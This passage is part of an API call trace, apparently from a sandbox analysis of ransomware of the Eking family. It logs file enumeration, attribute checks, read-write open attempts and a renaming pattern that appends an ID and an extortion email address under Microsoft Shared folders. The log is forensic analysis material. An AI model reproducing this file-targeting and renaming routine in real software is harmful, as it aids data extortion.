shared\\vba\\vba7\\1033\\vbendf98.chm.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0176.266] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbendf98.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0176.268] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbhw6.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0176.268] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=58026) returned 1 [0176.268] CloseHandle (hObject=0x1e8) returned 1 [0176.268] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbhw6.chm")) returned 0x20 [0176.268] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbhw6.chm")) returned 0x20 [0176.268] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbhw6.chm.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0176.269] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbhw6.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0176.269] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vblr6.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0176.269] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=944994) returned 1 [0176.269] CloseHandle (hObject=0x1e8) returned 1 [0176.270] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vblr6.chm")) returned 0x20 [0176.270] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vblr6.chm")) returned 0x20 [0176.270] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vblr6.chm.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0176.270] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vblr6.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0176.271] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbob6.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0176.271] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=123956) returned 1 [0176.271] CloseHandle (hObject=0x1e8) returned 1 [0176.271] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbob6.chm")) returned 0x20 [0176.271] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbob6.chm")) returned 0x20 [0176.271] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbob6.chm.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0176.271] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbob6.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0176.272] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbui6.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0176.273] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=416918) returned 1 [0176.273] CloseHandle (hObject=0x1e8) returned 1 [0176.274] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbui6.chm")) returned 0x20 [0176.274] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbui6.chm")) returned 0x20 [0176.274] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbui6.chm.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0176.274] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbui6.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0176.274] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\VBE7.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\vbe7.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0176.275] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=3675976) returned 1 [0176.275] CloseHandle (hObject=0x1e8) returned 1 [0176.276] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\VBE7.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\vbe7.dll")) returned 0x20 [0176.276] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\VBE7.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\vbe7.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\VBE7.DLL.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\vbe7.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0 [0176.276] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\VBE7.DLL.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\vbe7.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\VBE7.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\vbe7.dll")) returned 0 [0176.276] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VC\\msdia100.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vc\\msdia100.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0176.280] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=990032) returned 1 [0176.280] CloseHandle (hObject=0x1e8) returned 1 [0176.280] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VC\\msdia100.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vc\\msdia100.dll")) returned 0x20 [0176.280] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VC\\msdia100.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vc\\msdia100.dll")) returned 0x20 [0176.280] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VC\\msdia100.dll.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\vc\\msdia100.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0176.280] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VC\\msdia100.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vc\\msdia100.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0176.281] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VC\\msdia90.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vc\\msdia90.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0176.281] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=855376) returned 1 [0176.281] CloseHandle (hObject=0x1e8) returned 1 [0176.281] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VC\\msdia90.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vc\\msdia90.dll")) returned 0x20 [0176.281] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VC\\msdia90.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vc\\msdia90.dll")) returned 0x20 [0176.282] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VC\\msdia90.dll.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\vc\\msdia90.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0176.282] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VC\\msdia90.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vc\\msdia90.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0176.282] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VGX\\VGX.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vgx\\vgx.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0176.284] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=1110528) returned 1 [0176.284] CloseHandle (hObject=0x1e8) returned 1 [0176.284] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VGX\\VGX.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vgx\\vgx.dll")) returned 0x20 [0176.284] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VGX\\VGX.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vgx\\vgx.dll")) returned 0x20 [0176.284] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VGX\\VGX.dll.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\vgx\\vgx.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0176.284] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VGX\\VGX.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vgx\\vgx.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0176.285] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\BIGFONT.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\bigfont.shx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0176.287] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=324330) returned 1 [0176.287] CloseHandle (hObject=0x1e8) returned 1 [0176.287] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\BIGFONT.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\bigfont.shx")) returned 0x20 [0176.287] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\BIGFONT.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\bigfont.shx")) returned 0x20 [0176.287] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\BIGFONT.SHX.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\bigfont.shx.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0176.287] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\BIGFONT.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\bigfont.shx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0176.287] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\CHINESET.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\chineset.shx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0176.289] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=665117) returned 1 [0176.289] CloseHandle (hObject=0x1e8) returned 1 [0176.289] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\CHINESET.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\chineset.shx")) returned 0x20 [0176.289] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\CHINESET.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\chineset.shx")) returned 0x20 [0176.289] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\CHINESET.SHX.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\chineset.shx.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0176.289] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\CHINESET.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\chineset.shx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0176.289] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\EXTFONT.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\extfont.shx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0176.290] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=436710) returned 1 [0176.290] CloseHandle (hObject=0x1e8) returned 1 [0176.291] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\EXTFONT.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\extfont.shx")) returned 0x20 [0176.291] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\EXTFONT.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\extfont.shx")) returned 0x20 [0176.291] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\EXTFONT.SHX.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\extfont.shx.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0176.291] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\EXTFONT.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\extfont.shx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0176.291] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\GBCBIG.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\gbcbig.shx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0176.292] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=902841) returned 1 [0176.292] CloseHandle (hObject=0x1e8) returned 1 [0176.292] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\GBCBIG.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\gbcbig.shx")) returned 0x20 [0176.292] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\GBCBIG.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\gbcbig.shx")) returned 0x20 [0176.292] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\GBCBIG.SHX.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\gbcbig.shx.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0176.293] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\GBCBIG.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\gbcbig.shx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0176.293] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\IC-TXT.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\ic-txt.shx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0176.294] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=11009) returned 1 [0176.294] CloseHandle (hObject=0x1e8) returned 1 [0176.294] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\IC-TXT.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\ic-txt.shx")) returned 0x20 [0176.294] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\IC-TXT.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\ic-txt.shx")) returned 0x20 [0176.294] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\IC-TXT.SHX.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\ic-txt.shx.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0176.294] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\IC-TXT.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\ic-txt.shx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0176.295] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\ICAD.FMP" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\icad.fmp"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0176.295] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=326) returned 1 [0176.295] CloseHandle (hObject=0x1e8) returned 1 [0176.295] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\ICAD.FMP" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\icad.fmp")) returned 0x20 [0176.295] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\ICAD.FMP" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\icad.fmp")) returned 0x20 [0176.295] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\ICAD.FMP.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\icad.fmp.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0176.295] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\ICAD.FMP" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\icad.fmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0176.296] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\WHGDTXT.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\whgdtxt.shx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0176.296] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=223699) returned 1 [0176.297] CloseHandle (hObject=0x1e8) returned 1 [0176.297] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\WHGDTXT.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\whgdtxt.shx")) returned 0x20 [0176.297] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\WHGDTXT.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\whgdtxt.shx")) returned 0x20 [0176.297] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\WHGDTXT.SHX.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\whgdtxt.shx.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0176.297] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\WHGDTXT.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\whgdtxt.shx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0176.297] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio 